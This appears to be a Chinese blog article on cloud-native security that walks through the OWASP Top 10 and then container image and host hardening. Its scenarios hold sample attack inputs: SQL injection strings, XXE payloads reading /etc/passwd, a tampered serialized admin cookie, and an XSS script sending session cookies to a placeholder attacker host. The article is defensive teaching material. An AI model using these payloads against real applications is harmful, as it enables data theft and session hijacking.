云原生安全

admin管理员组

文章数量:1607716

前言

什么是云计算？

云计算就是一种新兴的计算资源利用方式，云计算的服务商通过对硬件资源的虚拟化，将基础IT资源变成了可以自由调度的资源池，从而实现IT资源的按需分配，向客户提供按使用付费的云计算服务。用户可以根据业务的需求动态调整所需的资源，而云服务商也可以提高自己的资源使用效率，降低服务成本，通过多种不同类型的服务方式为用户提供计算、存储和数据业务的支持。

云计算的部署模式

1.公有云（Public Cloud）——出租给公众的大型的基础设施的云

由云服务提供商拥有和管理，通过互联网向企业或个人提供计算资源，就类似城市的水电，居民共享，每家每户各取所需，按量统计付费。

2.私有云（Private Cloud)——企业利用自有或租用的基础设施资源自建的云

单个组织专用的云服务，而无需与其他组织共享资源，私有云可以在内部管理，也可以由第三方云服务提供商托管，而公有云和私有云的区别，就好比自家的洗衣机（私有）和干洗店（对公）的区别。

3.混合云（Hybrid Cloud）——由两种或两种以上部署模式组成的云

同时使用公有云和私有云，从而允许公司将敏感数据保留私有云中（安全性），同时使用公有云来运行应用程序（低成本），就类似于我们现实打点中遇到的企业官网等业务放在云上，核心业务部署在内网。

4.社区云/行业云（Community Cloud） ——为特定社区或行业所构建的共享基础设施的云

特定组织或行业共享使用的云计算服务方案，行业云是由几个具有类似关注点（例如安全性、隐私性、和合规性）的多个组织共享，像政务云、金融机构、医疗等特殊客户群体，需要满足其一定的行业规范和数据安全标准。

云计算的服务模式

1.云基础设置即服务（IaaS）——出租处理能力、存储空间、网络容量等基本计算资源

IaaS就是由云服务提供商，提供底层设施基础资源（CPU、内存、硬盘、带宽等），用户需要自己部署和执行操作系统或应用程序等各种软件，就比如我们平时在阿里云、腾讯云等云厂商哪里购买的VPS服务器就属于IaaS服务模式。

2.云平台即服务（PaaS）——为客户开发的应用程序提供可部署的云环境

PaaS可提供各种开发和分发应用的解决方案，如虚拟服务器、操作系统等。如我们常见的docker、k8s等。

3.云软件即服务（SaaS）——在网络上提供可直接使用的应用程序

在PaaS之上，用户不需要管理和控制任何云计算基础设施，包括网络、服务器、操作系统、存储等，普通用户所接触到的互联网服务，几乎都是SaaS

什么是云原生？

云原生（Cloud Native）是一套技术体系和方法论，它由2个词组成，云（Cloud）和原生（Native）。云（Cloud）表示应用程序位于云中，而不是传统的数据中心；原生（Native）表示应用程序从设计之初即考虑到云的环境，原生为云而设计，在云上以最佳状态运行，充分利用和发挥云平台的弹性和分布式优势。

如果只是简单的把原来本地跑的业务放到云上，高举“上云”大旗，那只能叫做“拆迁户”，不能叫做云原生；当“上云”的风潮过去后，开始出现了直接就部署在云上的业务，这些业务完全按照“云”的特点去设计，这种是“云”的原住民，可以叫做云原生。

云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中，构建和运行可弹性扩展的应用。云原生的代表技术包括容器化、服务网格、微服务、不可变基础设施和声明式 API。

这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段，云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。

对于云原生系统一般有以下特征：

• 轻、快、不变的基础设施
• 弹性服务编排
• 开发运营一体化
• 微服务架构
• 无服务模型

云原生安全

如果说云原生是在开发项目时就和云环境进行绑定，那么云原生安全，就是在云创建之初就考虑云上应用的安全问题，达到安全前置的效果。使用云原生架构，传统的网络安全问题并不会消失。反而会因为云上架构复杂，组件直接的调用增多造成更多的问题。

由于云原生安全究其根本是要保证云原生应用的安全，因此云原生安全防护体系的建设也要围绕云原生应用的生命周期来进行构建，这同样也是敏捷开发中DevSecOps 所倡导的应用安全模式。云原生应用的整个生命周期，大致可以分为三个阶段：构建、分发和运行。

在构建阶段，主要完成应用源代码的编写，需要关注开发安全。在分发阶段，也称为部署阶段，主要完成容器镜像的构建以及容器镜像的存储，需要关注镜像安全。在运行阶段，主要完成应用容器的部署、上线运行，需要关注基础设施安全，容器编排平台安全以及运行时应用安全。

构建

在应用的开发阶段，基于开发安全方向，需要做好源代码的审计工作，禁止使用源代码中已知的易受攻击的组件，增强开发人员基本的安全编码常识等

1、注入

将不受信任的数据作为命令或查询的一部分发送到解析器时，会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

知识点简介

一些常见的注入，包括：SQL、OS命令、ORM、LDAP和表达式语言（EL）或OGNL注入。所有解释器的概念都是相同的。代码评审是最有效的检测应用程序的注入风险的办法之一，紧随其后的是对所有参数、字段、头、cookie、JSON和XML数据输入的彻底的DAST扫描。组织可以将SAST和DAST工具添加到CI/CD过程中，以便于在生产部署之前对现有或新检查的代码进行注入问题的预警。

案例场景

• 场景#1：

应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据：

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

• 场景#2：

同样的，框架应用的盲目信任，仍然可能导致查询语句的漏洞。（例如：Hibernate查询语言（HQL））：

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

在这两个案例中，攻击者在浏览器中将“id”参数的值修改成： ‘or’1’='1。例如： http://example/app/accountView?id=' or '1'='1

这样查询语句的意义就变成了从accounts表中返回所有的记录。更危险的攻击可能导致数据被篡改甚至是存储过程被调用。

如何防止?

• 防止注入漏洞需要将数据与命令语句、查询语句分隔开来。
• 最佳选择是使用安全的API，完全避免使用解释器，或提供参数化界面的接口，或迁移到ORM或实体框架。
• 注意：当参数化时，存储过程仍然可以引入SQL注入，如果PL/SQL或T-SQL将查询和数据连接在一起，或者执行带有立即执行或exec()的恶意数据。
• 使用正确的或“白名单”的具有恰当规范化的输入验证方法同样会有助于防止注入攻击，但这不是一个完整的防御，因为许多应用程序在输入中需要特殊字符，例如文本区域或移动应用程序的API。
• 对于任何剩余的动态查询，可以使用该解释器的特定转义语法转义特殊字符。OWASP的Java Encoder和类似的库提供了这样的转义例程。
• 注意：SQL结构，比如：表名、列名等无法转义，因此用户提供的结构名是非常危险的。这是编写软件中的一个常见问题。
• 在查询中使用LIMIT和其他SQL控件，以防止在SQL注入时大量地泄露记录。

2、失效的身份认证

通常，通过错误使用应用程序的身份认证和会话管理功能，攻击者能够破译密码、密钥或会话令牌，或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

知识点简介

确认用户的身份、身份验证和会话管理非常重要，这些措施可用于将恶意的未经身份验证的攻击者与授权用户进行分离。如果您的应用程序存在如下问题，那么可能存在身份验证的脆弱性：

• 允许密码填充(opens new window)，这使得攻击者获得有效用户名和密码的列表。
• 允许暴力破解或其他自动攻击。
• 允许默认的、弱的或众所周知的密码，例如“Password1”或“admin/admin”。
• 使用弱的或失效的验证凭证，忘记密码程序，例如“基于知识的答案”，这是不安全的。
• 使用明文、加密或弱散列密码（参见：A3:2017-敏感数据泄露）。
• 缺少或失效的多因素身份验证。
• 暴露URL中的会话ID（例如URL重写）。
• 在成功登录后不会更新会话ID。
• 不正确地使会话ID失效。当用户不活跃的时候，用户会话或认证令牌（特别是单点登录（SSO）令牌）没有正确注销或失效。

案例场景

• 场景#1：

凭证填充，使用已知密码的列表，是常见的攻击。如果应用程序不限制身份验证尝试，则可以将应用程序用作密码oracle，以确定凭证是否有效。

• 场景#2：

大多数身份验证攻击都是由于使用密码作为唯一的因素。依据最佳实践，最新的密码轮换和复杂性要求鼓励用户使用、重用以及重用弱密码。建议组织NIST-800-63中停止这些实践，并使用多因素身份验证。

• 场景#3：

应用会话超时设置不正确。用户使用公共计算机访问应用程序。用户直接关闭浏览器选项卡就离开，而不是选择“注销”。攻击者一小时后使用同一个浏览器浏览网页，而当前用户状态仍然是经过身份验证的。

如何防止?

在可能的情况下，实现多因素身份验证，以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。

• 不要使用发送或部署默认的凭证，特别是管理员用户。
• 执行弱密码检查，例如测试新或变更的密码，以纠正“排名前10000个弱密码(opens new window)” 列表。
• 将密码长度、复杂性和循环策略与NIST-800-63 B的指导方针的记住秘密(opens new window)，或其他现代的基于证据的密码策略相一致。
• 确认注册、凭据恢复和API路径，通过对所有输出结果使用相同的消息，用以抵御账户枚举攻击。
• 限制或逐渐延迟失败的登录尝试。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测时提醒管理员。
• 使用服务器端安全的内置会话管理器，在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中，可以安全地存储和当登出、闲置、绝对超时后使其失效。

3、敏感数据泄露

许多Web应用程序和API都无法正确保护敏感数据，例如：财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏，因此，我们需要对敏感数据加密，这些数据包括：传输过程中的数据、存储的数据以及浏览器的交互数据。

首先你需要确认的是哪些数据是敏感数据（包含：传输过程中的数据、存储数据）而需要被加密。例如：密码、信用卡卡号、医疗记录、个人信息应该被加密，特别是隐私法律或条例中规定需要加密的数据，如：欧盟《通用数据保护条例》（GDPR）、 属于“金融数据保护条例”的《支付卡行业数据安全标准》（PICDSS）。对于这些数据，要确定：

• 在数据传输过程中是否使用明文传输?这和传输协议相关，如：HTTP、SMTP和FTP。外部网络流量非常危险。验证所有的内部通信，如：负载平衡器、Web服务器或后端系统之间的通信。
• 当数据被长期存储时，无论存储在哪里，它们是否都被加密，包含备份数据?
• 无论默认条件还是源代码中，是否还在使用任何旧的或脆弱的加密算法?
• 是否使用默认加密密钥，生成或重复使用脆弱的加密密钥，或者缺少恰当的密钥管理或密钥回转?
• 是否强制加密敏感数据，例如：用户代理（如：浏览器）指令和传输协议是否被加密?
• 用户代理（如：应用程序、邮件客户端）是否未验证服务器端证书的有效性?

案例场景

• 场景 #1：

一个应用程序使用自动化的数据加密系统加密信用卡信息，并存储在数据库中。但是，当数据被检索时被自动解密，这就使得SQL注入漏洞能够以明文形式获得所有信用卡卡号。

• 场景 #2：

一个网站上对所有网页没有使用或强制使用TLS，或者使用弱加密。攻击者通过监测网络流量（如：不安全的无线网络），将网络连接从HTTPS降级到HTTP，就可以截取请求并窃取用户会话cookie。 之后，攻击者可以复制用户cookie并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外，攻击者还可以更改所有传输过程中的数据，例如：转款的接接收者。

• 场景 #3：

密码数据库使用未加盐的哈希算法或弱哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些未加盐哈希的密码通过彩虹表暴力破解方式破解。 由简单或快速散列函数生成加盐的哈希，也可以通过GPU破解

如何防止?

对一些需要加密的敏感数据，应该起码做到以下几点：

• 对系统处理、存储或传输的数据分类，并根据分类进行访问控制。
• 熟悉与敏感数据保护相关的法律和条例，并根据每项法规要求保护敏感数据。
• 对于没必要存放的、重要的敏感数据，应当尽快清除，或者通过PCI DSS标记或拦截。未存储的数据不能被窃取。
• 确保存储的所有敏感数据被加密。
• 确保使用了最新的、强大的标准算法或密码、参数、协议和密匙，并且密钥管理到位。
• 确保传输过程中的数据被加密，如：使用TLC。确保数据加密被强制执行，如：使用HTTP严格安全传输协议（HSTS）。
• 禁止缓存对包含敏感数据的响应。
• 确保使用密码专用算法存储密码，如：Argon2(opens new window) 、 scrypt(opens new window)、bcrypt(opens new window) 或者PBKDF2，将工作因素（延迟因素）设置在可接受范围。
• 单独验证每个安全配置项的有效性。

4、XML 外部实体（XXE）

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

应用程序和特别是基于XML的Web服务或向下集成，可能在以下方面容易受到攻击：

• 您的应用程序直接接受XML文件或者接受XML文件上传，特别是来自不受信任源的文件，或者将不受信任的数据插入XML文件，并提交给XML处理器解析。
• 在应用程序或基于Web服务的SOAP中，所有XML处理器都启用了文档类型定义（DTDs）。因为禁用DTD进程的确切机制因处理器而不同
• 如果为了实现安全性或单点登录（SSO），您的应用程序使用SAML进行身份认证。而SAML使用XML进行身份确认，那么您的应用程序就容易受到XXE攻击。
• 如果您的应用程序使用第1.2版之前的SOAP，并将XML实体传递到SOAP框架，那么它可能受到XXE攻击。
• 存在XXE缺陷的应用程序更容易受到拒绝服务攻击，包括：Billion Laughs 攻击。

案例场景

大量XXE缺陷已经被发现并被公开，这些缺陷包括嵌入式设备的XXE缺陷。 XXE缺陷存在于许多意想不到的地方，这些地方包括深嵌套的依赖项。最简单的方法是上传可被接受的恶意XML文件：

• 场景 #1

攻击者尝试从服务端提取数据：

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

• 场景 #2

攻击者通过将上面的实体行更改为以下内容来探测服务器的专用网络：

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

• 场景 #3

攻击者通过恶意文件执行拒绝服务攻击：

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

如何防止?

开发人员培训是识别和减少XXE缺陷的关键，此外，防止XXE 缺陷还需要：

• 尽可能使用简单的数据格式（如：JSON），避免对敏感数据进行序列化。
• 及时修复或更新应用程序或底层操作系统使用的所有XML处理器和库。同时，通过依赖项检测，将SOAP更新到1.2版本或更高版本。
• 参考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。
• 在服务器端实施积极的（“白名单”）输入验证、过滤和清理，以防止在XML文档、标题或节点中出现恶意数据。
• 验证XML或XSL文件上传功能是否使用XSD验证或其他类似验证方法来验证上传的XML文件。
• 尽管在许多集成环境中，手动代码审查是大型、复杂应用程序的最佳选择，但是SAST工具可以检测源代码中的XXE漏洞。如果无法实现这些控制，请考虑使用虚拟修复程序、API安全网关或Web应用程序防火墙（ WAF）来检测、监控和防止XXE攻击。

5、失效的访问控制

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

知识点简介

访问控制强制实施策略，使用户无法在其预期的权限之外执行行为。失败的访问控制通常导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。常见的访问控制脆弱点包括：

• 通过修改 URL、内部应用程序状态或 HTML 页面绕过访问控制检查，或简单地使用自定义的 API 攻击工具。
• 允许将主键更改为其他用户的记录，例如查看或编辑他人的帐户。
• 特权提升。在不登录的情况下假扮用户，或以用户身份登录时充当管理员。
• 元数据操作，如重放或篡改 JWT 访问控制令牌，或作以提升权限的cookie 或隐藏字段。
• CORS配置错误允许未授权的API访问。
• 以未通过身份验证的用户身份强制浏览的通过身份验证时才能看到的页面、或作为标准用户访问具有相关权限的页面、或API没有对POST、PUT和DELETE强制执行访问控制。

案例场景

• 场景 #1：

应用程序在访问帐户信息的 SQL调用中使用了未经验证的数据：

pstmt.setString(1，request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号信息。如果没有正确验证，攻击者可以访问任何用户的帐户。

http://example/app/accountInfo?acct=notmyacct

• 场景 #2：

攻击者仅强制浏览目标URL。管理员权限是访问管理页面所必需的。

http://example/app/getappInfo
http://example/app/admin_getappInfo

如果一个未经身份验证的用户可以访问任何页面，那么这是一个缺陷。如果一个非管理员权限的用户可以访问管理页面，那么这同样也是一个缺陷。

如何防止?

访问控制只有在受信服务器端代码或没有服务器的 API 中有效，这样这样攻击者才无法修改访问控制检查或元数据。

• 除公有资源外，默认情况下拒绝访问。
• 使用一次性的访问控制机制，并在整个应用程序中不断重用它们，包括最小化CORS使用。
• 建立访问控制模型以强制执行所有权记录，而不是接受用户创建、读取、更新或删除的任何记录。
• 域访问控制对每个应用程序都是唯一的，但业务限制要求应由域模型强制执行。
• 禁用 Web服务器目录列表，并确保文件元数据（如：git）不存在于 Web的根目录中。
• 记录失败的访问控制，并在适当时向管理员告警（如：重复故障）。
• 对API和控制器的访问进行速率限制，以最大限度地降低自动化攻击工具的危害。
• 当用户注销后，服务器上的JWT令牌应失效。

开发人员和 QA人员应包括功能访问控制单元和集成测试人员

6、安全配置错误

安全配置错误是最常见的安全问题，这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此，我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置，而且必须及时修补和升级它们。

知识点简介

您的应用程序可能受到攻击，如果应用程序是：

• 应用程序栈堆的任何部分都缺少适当的安全加固，或者云服务的权限配置错误。
• 应用程序启用或安装了不必要的功能（例如：不必要的端口、服务、网页、帐户或权限）。
• 默认帐户的密码仍然可用且没有更改。
• 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
• 对于更新的系统，禁用或不安全地配置最新的安全功能。
• 应用程序服务器、应用程序框架（如：Struts、Spring、http://ASP.NET）、库文件、数据库等没有进行安全配置。
• 服务器不发送安全标头或指令，或者未对服务器进行安全配置。
• 您的应用软件已过期或易受攻击。

缺少一个体系的、可重复的应用程序安全配置过程，系统将处于高风险中

案例场景

• 场景#1：

应用程序服务器附带了未从产品服务器中删除的应用程序样例。这些样例应用程序具有已知的安全漏洞，攻击者利用这些漏洞来攻击服务器。如果其中一个应用程序是管理员控制台，并且没有更改默认账户，攻击者就可以通过默认密码登录，从而接管服务器。

• 场景#2：

目录列表在服务器端未被禁用。攻击者发现他们很容易就能列出目录列表。攻击者找到并下载所有已编译的Java类，他们通过反编译来查看代码。然后，攻击者在应用程序中找到一个严重的访问控制漏洞。

• 场景#3：

应用服务器配置允许将详细的错误信（如：堆栈跟踪信息）返回给用户，这可能会暴露敏感信息或潜在的漏洞，如：已知含有漏洞的组件的版本信息。

• 场景#4：

云服务向其他CSP用户提供默认的网络共享权限。这允许攻击者访问存储在云端的敏感数据。

如何防止?

应实施安全的安装过程，包括：

• 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该进行相同配置，并且，在每个环境中使用不同的密码。这个过程应该是自动化的，以尽量减少安装一个新安全环境的耗费。
• 搭建最小化平台，该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。
• 检查和修复安全配置项来适应最新的安全说明、更新和补丁，并将其作为更新管理过程的一部分。在检查过程中，应特别注意云存储权限（如：S3桶权限）。
• 一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构，包括：分段、容器化和云安全组。
• 向客户端发送安全指令，如：安全标头。
• 在所有环境中能够进行正确安全配置和设置的自动化过程。

7、跨站脚本XSS

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时，或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时，就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点

知识点简介

存在三种XSS类型，通常针对用户的浏览器：

1. 反射式XSS：应用程序或API包括未经验证和未经转义的用户输入，作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。通常，用户将需要与指向攻击者控制页面的某些恶意链接进行交互，例如恶意漏洞网站，广告或类似内容。
2. 存储式XSS：你的应用或者API将未净化的用户输入存储下来了，并在后期在其他用户或者管理员的页面展示出来。存储型XSS一般被认为是高危或严重的风险。
3. 基于DOM的XSS：会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说，你应该避免将攻击者可控的数据发送给不安全的JavaScriptAPI。

典型的XSS攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户浏览器的攻击（例如：恶意软件下载、键盘记录）以及其他用户侧的攻击。

案例场景

• 场景#1

：应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据：

(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC“) + "'>";

攻击者在浏览器中修改“CC” 参数为如下值：

'><script>document.location='http://www.attacker/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站，使得攻击者能够劫持用户当前会话。

注意：攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造（CSRF）防御机制。

如何防止?

防止XSS需要将不可信数据与动态的浏览器内容区分开。这可以通过如下步骤实现：

• 使用设计上就会自动编码来解决XSS问题的框架，如：Ruby 3.0或 React
  JS。了解每个框架的XSS保护的局限性，并适当地处理未覆盖的用例。
• 为了避免反射式或存储式的XSS漏洞，最好的办法是根据HTML输出的上下文（包括：主体、属性、JavaScript、CSS或URL）对所有不可信的HTTP请求数据进行恰当的转义。
• 在客户端修改浏览器文档时，为了避免DOM XSS攻击，最好的选择是实施上下文敏感数据编码。
• 使用内容安全策略（CSP）是对抗XSS的深度防御策略

8、不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行，攻击者也可以利用它们来执行攻击，包括：重播攻击、注入攻击和特权升级攻击。

知识点简介

如果反序列化进攻者提供的敌意或者篡改过的对象将会使将应用程序和API变的脆弱。这可能导致两种主要类型的攻击：

• 如果应用中存在可以在反序列化过程中或者之后被改变行为的类，则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击。
• 典型的数据篡改攻击，如访问控制相关的攻击，其中使用了现有的数据结构，但内容发生了变化。

在应用程序中，序列化可能被用于:

• 远程和进程间通信（RPC / IPC）
• 连线协议、Web服务、消息代理
• 缓存/持久性
• 数据库、缓存服务器、文件系统
• HTTP cookie、HTML表单参数、API身份验证令牌

案例场景

• 场景 #1：

一个React应用程序调用了一组Spring Boot微服务。作为功能性程序员，他们试图确保他们的代码是不可变的。他们提出的解决方法是序列化用户状态，并在每次请求时来回传递。攻击者注意到了“R00”Java对象签名，并使用Java Serial Killer工具在应用服务器上获得远程代码执行。

• 场景 #2：

一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的用户ID、角色、密码哈希和其他状态：

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻击者更改序列化对象以授予自己为admin权限：

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

如何防止?

唯一安全的架构模式是不接受来自不受信源的序列化对象，或使用只允许原始数据类型的序列化媒体。如果上述不可能的话，考虑使用下述方法：

• 执行完整性检查，如：任何序列化对象的数字签名，以防止恶意对象创建或数据篡改。
• 在创建对象之前强制执行严格的类型约束，因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明，所以完全依赖于它是不可取的。
• 如果可能，隔离运行那些在低特权环境中反序列化的代码。
• 记录反序列化的例外情况和失败信息，如：传入的类型不是预期的类型，或者反序列处理引发的例外情况。
• 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。
• 监控反序列化，当用户持续进行反序列化时，对用户进行警告。

9、使用含有已知漏洞的组件

组件（例如：库、框架和其他软件模块）拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用，可能会造成严重的数据丢失或服务器接管。同时，使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

知识点简介

如果满足下面的某个条件，那么你的应用就易受此类攻击：

• 如果你不知道所有使用的组件版本信息（包括：服务端和客户端）。这包括了直接使用的组件或其依赖的组件。
• 如果软件易受攻击，不再支持或者过时。这包括：OS、Web服务器、应用程序服务器、数据库管理系统（DBMS）、应用程序、API和所有的组件、运行环境和库。
• 如果你不会定期做漏洞扫描和订阅你使用组件的安全公告。
• 如果你不基于风险并及时修复或升级底层平台、框架和依赖库。很可能发生这种情况：根据变更控制，每月或每季度进行升级，这使得组织在这段时间内会受到已修复但未修补的漏洞的威胁。
• 如果软件工程师没有对更新的、升级的或打过补丁的组件进行兼容性测试。
• 如果你没有对组件进行安全配置。

案例场景

• 场景 #1：

很多时候组件都是以与应用相同的权限运行的，这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是偶然的（如：编码错误），也可能是蓄意的（如：组件里的后门）。下面是一些已被利用的漏洞：

• CVE-2017-5638(opens new window)，一个Struts2远程执行漏洞。
  可在服务端远程执行代码，并已造成巨大的影响。
• 虽然物联网（IoT设备一般难以通过打补丁来修复。但对之打补丁非常重要（如：医疗设备）。

有些自动化工具能帮助攻击者发现未打补丁的或配置不正确的系统。例如 ：Shodan IOT搜索引擎能帮助你发现从2014年四月至今仍存在心脏出血漏洞(opens new window)的设备。

如何防止?

应该制定一个补丁管理流程：

• 移除不使用的依赖、不需要的功能、组件、文件和文档。
• 利用如 versions、DependencyCheck 、retire.js等工具来持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE和NVD等是否发布已使用组件的漏洞信息，可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。
• 仅从官方渠道安全的获取组件，并使用签名机制来降低组件被篡改或加入恶意漏洞的风险
• 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁，可以考虑部署虚拟补丁来监控、检测或保护。每个组织都应该制定相应的计划，对整个软件生命周期进行监控、评审、升级或更改配置。

10、不足的日志记录

不足的日志记录和监控，以及事件响应缺失或无效的集成，使攻击者能够进一步攻击系统、保持持续性或转向更多系统，以及篡改、提取或销毁数据。大多数缺陷研究显示，缺陷被检测出的时间超过200天，且通常通过外部检测方检测，而不是通过内部流程或监控检测。

知识点简介

下列情况会导致不足的日志记录、检测、监控和响应：

• 未记录可审计性事件，如：登录、登录失败和高额交易。
• 告警和错误事件未能产生或产生不足的和不清晰的日志信息。
• 没有利用应用系统和API的日志信息来监控可疑活动。
• 日志信息仅在本地存储。
• 没有定义合理的告警阈值和制定响应处理流程。
• 渗透测试和使用DAST工具（如：OWASP ZAP）扫描没有触发告警
• 对于实时或准实时的攻击，应用程序无法检测、处理和告警。如果你的应用使得日志信息或告警信息对用户或者攻击者可见，你就很容易遭受信息泄露攻击

案例场景

• 场景#1：

一个由小团队运营的开源项目论坛软件被攻击者利用其内在漏洞攻陷了。 攻击者设法删除了包含下一个版本的内部源代码仓库以及所有论坛内容。 虽然代码可以恢复，但由于缺乏监控、日志记录和告警导致了更糟糕的结果。 由于此问题，该论坛软件项目不再活跃。

• 场景#2：

攻击者使用通用密码进行用户扫描并能获取所有使用此密码的账户。对于其他账户而言，将仅有一次失败的登陆尝试记录。一段时间以后，攻击者可以用另一个密码再次进行此活动。

• 场景#3：

美国的一家大型零售商据内部使用恶意软件分析沙箱做分析。 沙箱软件检测到了一些可能不需要的软件，但没有人响应此次检测。 在一个境外银行不正当的信用卡交易被检测到之前，该沙箱软件一直在产生告警信息。

如何防止?

根据应用程序存储或处理的数据的风险：:

• 确保所有登录、访问控制失败、输入验证失败能够被记录到日志中去，并保留足够的用户上下文信息，以识别可疑或恶意帐户，并为后期取证预留足够时间。
• 确保日志以一种能被集中日志管理解决方案使用的形式生成
• 确保高额交易有完整性控制的审计信息，以防止篡改或删除，例如审计信息保存在只能进行记录增加的数据库表中。
• 建立有效的监控和告警机制，使可疑活动在可接受的时间内被发现和应对。
• 建立或采取一个应急响应机制和恢复计划。

部署

镜像安全

在整个应用生命周期中，开发人员、测试人员和运维人员会根据不同需求下载、构建、运行镜像，所以在容器运行前进行镜像检查非常重要。不安全的镜像包括镜像中使用包含漏洞的软件、攻击者上传恶意镜像、中间人攻击篡改镜像等。所以从的构建到应用，镜像安全包括镜像构建安全、镜像仓库安全、镜像传输安全。

（1） 镜像构建安全

镜像在构建时，首先需要验证使用的其他基础镜像，对其他镜像要做镜像扫描，验证镜像来源。其次在构建自己的镜像层时，建议镜像尽量轻量化，只安装必要的软件包，减少攻击面。最后，要镜像构建过程中，对敏感信息尽量加密管理，保证信息的安全性。

（2） 镜像仓库安全

镜像仓库分为公共镜像仓库和私有镜像仓库。对于公共镜像仓库中的镜像，尽量使用官方发布的最新镜像版本，对使用的镜像要进行漏洞扫描。对于采用开源工具搭建的私有镜像仓库，要配置相应的安全证书，严格控制用户的访问权限，谨防攻击者上传恶意镜像到代码仓库，对于客户端与仓库端要采用双向加密验证和加密传输。

（3） 镜像传输安全

镜像在上传和下载时，要保证镜像的完整性和私密性，需要上传者将上传镜像进行数字签名，同时尽量在镜像传输过程中加密传输。

运行

在运行阶段，需要将云原生应用运行在云计算的环境中，从架构上来说，此时需要考虑运行时的安全可分为4层，Cloud层（云），Cluster层（集群），Container层（容器）和Code层（代码）

宿主机安全

首先我们看Cloud层，如果云层容易受到攻击（或者被配置成了易受攻击的方式），就不能保证在此基础之上构建的组件是安全的。

由于容器和宿主机共享操作系统内核，因此宿主机的配置对容器的运行安全有重要影响。

比如宿主机中安装有漏洞的软件可能会导致任意代码执行风险；端口无限制开放可能会导致任意用户访问风险；防火墙未正确配置会降低主机的安全性；sudo 的访问权限没有按照密钥的认证方式登录可能会导致暴力破解宿主机。从安全性考虑，容器主机应遵循如下原则：

（1）最小安装化，不应当安装额外的服务和软件以免增大安全风险；

（2）配置交互用户登陆超时时间；

（3）关闭不必要的数据包转发功能；

（4）禁止ICMP 重定向；

（5）配置可远程访问地址范围；

（6）删除或锁定与设备运行、维护等工作无关的账号、重要文件和目录的权限设置；

（7）关闭不必要的进程和服务等安全加固原则。

容器编排平台安全

集群层的安全防护主要是保护可配置的集群组件，保护在集群中运行的应用程序。而容器编排平台可以看作云上的“操作系统”，它负责自动化部署、扩/缩容、管理应用。所以容器编排平台（比如Kubernetes、Docker Swarm等）的安全是容器安全的基础。

